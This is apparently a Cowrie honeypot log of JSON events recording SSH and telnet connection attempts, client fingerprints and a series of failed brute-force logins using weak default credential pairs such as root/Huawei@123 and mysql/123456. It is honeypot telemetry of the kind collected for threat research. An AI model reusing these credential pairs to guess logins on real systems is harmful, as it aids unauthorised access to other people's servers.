{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59768,"dst_ip":"10.17.0.5","dst_port":23,"session":"046b8e33e8e5","protocol":"telnet","message":"New connection: 45.58.127.90:59768 (10.17.0.5:23) [session: 046b8e33e8e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:00.177058Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55810,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f2867d141cc","protocol":"ssh","message":"New connection: 176.65.132.129:55810 (159.203.135.109:22) [session: 1f2867d141cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:00.725948Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:00.731073Z","src_ip":"176.65.132.129","session":"1f2867d141cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:00.813434Z","src_ip":"176.65.132.129","session":"1f2867d141cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Huawei@123","message":"login attempt [root/Huawei@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:01.059592Z","src_ip":"176.65.132.129","session":"1f2867d141cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:02.144897Z","src_ip":"176.65.132.129","session":"1f2867d141cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":55812,"dst_ip":"159.203.135.109","dst_port":22,"session":"4bf54fa79926","protocol":"ssh","message":"New connection: 176.65.132.129:55812 (159.203.135.109:22) [session: 4bf54fa79926]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:04.046699Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:04.054441Z","src_ip":"176.65.132.129","session":"4bf54fa79926","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:04.136216Z","src_ip":"176.65.132.129","session":"4bf54fa79926","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"123456","message":"login attempt [mysql/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:04.385970Z","src_ip":"176.65.132.129","session":"4bf54fa79926","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:05.500912Z","src_ip":"176.65.132.129","session":"4bf54fa79926","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.58.127.90","src_port":59770,"dst_ip":"10.17.0.5","dst_port":23,"session":"38295f154590","protocol":"telnet","message":"New connection: 45.58.127.90:59770 (10.17.0.5:23) [session: 38295f154590]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:07.381214Z"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36040,"dst_ip":"159.203.135.109","dst_port":22,"session":"d3ff171ef853","protocol":"ssh","message":"New connection: 176.65.132.129:36040 (159.203.135.109:22) [session: d3ff171ef853]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:07.392454Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:07.397074Z","src_ip":"176.65.132.129","session":"d3ff171ef853","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:07.479633Z","src_ip":"176.65.132.129","session":"d3ff171ef853","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:07.730979Z","src_ip":"176.65.132.129","session":"d3ff171ef853","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:08.815304Z","src_ip":"176.65.132.129","session":"d3ff171ef853","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.106.245.20","src_port":50012,"dst_ip":"10.17.0.5","dst_port":22,"session":"65b821f10399","protocol":"ssh","message":"New connection: 193.106.245.20:50012 (10.17.0.5:22) [session: 65b821f10399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:09.931302Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:09.935904Z","src_ip":"193.106.245.20","session":"65b821f10399","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:10.055175Z","src_ip":"193.106.245.20","session":"65b821f10399","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"password12345","message":"login attempt [ubuntu/password12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:10.563771Z","src_ip":"193.106.245.20","session":"65b821f10399","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36050,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff96a96b13ce","protocol":"ssh","message":"New connection: 176.65.132.129:36050 (159.203.135.109:22) [session: ff96a96b13ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:10.967323Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:10.971454Z","src_ip":"176.65.132.129","session":"ff96a96b13ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:11.053155Z","src_ip":"176.65.132.129","session":"ff96a96b13ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"hadoop","password":"hadoop123","message":"login attempt [hadoop/hadoop123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:11.297617Z","src_ip":"176.65.132.129","session":"ff96a96b13ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:11.687244Z","src_ip":"193.106.245.20","session":"65b821f10399","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:12.381294Z","src_ip":"176.65.132.129","session":"ff96a96b13ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.69511294364929,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:12.708291Z","src_ip":"45.58.127.90","session":"6e4628a81c6b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":36066,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e387b5994ba","protocol":"ssh","message":"New connection: 176.65.132.129:36066 (159.203.135.109:22) [session: 1e387b5994ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:14.339707Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:14.343400Z","src_ip":"176.65.132.129","session":"1e387b5994ba","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:14.426739Z","src_ip":"176.65.132.129","session":"1e387b5994ba","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"lighthouse","password":"123456","message":"login attempt [lighthouse/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:14.678016Z","src_ip":"176.65.132.129","session":"1e387b5994ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:15.767897Z","src_ip":"176.65.132.129","session":"1e387b5994ba","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":45.105693101882935,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:15.845300Z","src_ip":"45.58.127.90","session":"d703341e635b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58350,"dst_ip":"159.203.135.109","dst_port":22,"session":"7d4bd30eb9ca","protocol":"ssh","message":"New connection: 176.65.132.129:58350 (159.203.135.109:22) [session: 7d4bd30eb9ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:17.634697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:17.745503Z","src_ip":"176.65.132.129","session":"7d4bd30eb9ca","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:17.748838Z","src_ip":"176.65.132.129","session":"7d4bd30eb9ca","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"appuser","password":"123456","message":"login attempt [appuser/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:18.171899Z","src_ip":"176.65.132.129","session":"7d4bd30eb9ca","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:19.256855Z","src_ip":"176.65.132.129","session":"7d4bd30eb9ca","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.132.129","src_port":58364,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ee7bc250e9e","protocol":"ssh","message":"New connection: 176.65.132.129:58364 (159.203.135.109:22) [session: 6ee7bc250e9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:21.290318Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:21.293830Z","src_ip":"176.65.132.129","session":"6ee7bc250e9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:21.374742Z","src_ip":"176.65.132.129","session":"6ee7bc250e9e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"g","password":"g","message":"login attempt [g/g] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:21.621509Z","src_ip":"176.65.132.129","session":"6ee7bc250e9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-09T11:58:22.705595Z","src_ip":"176.65.132.129","session":"6ee7bc250e9e","protocol":"ssh"}
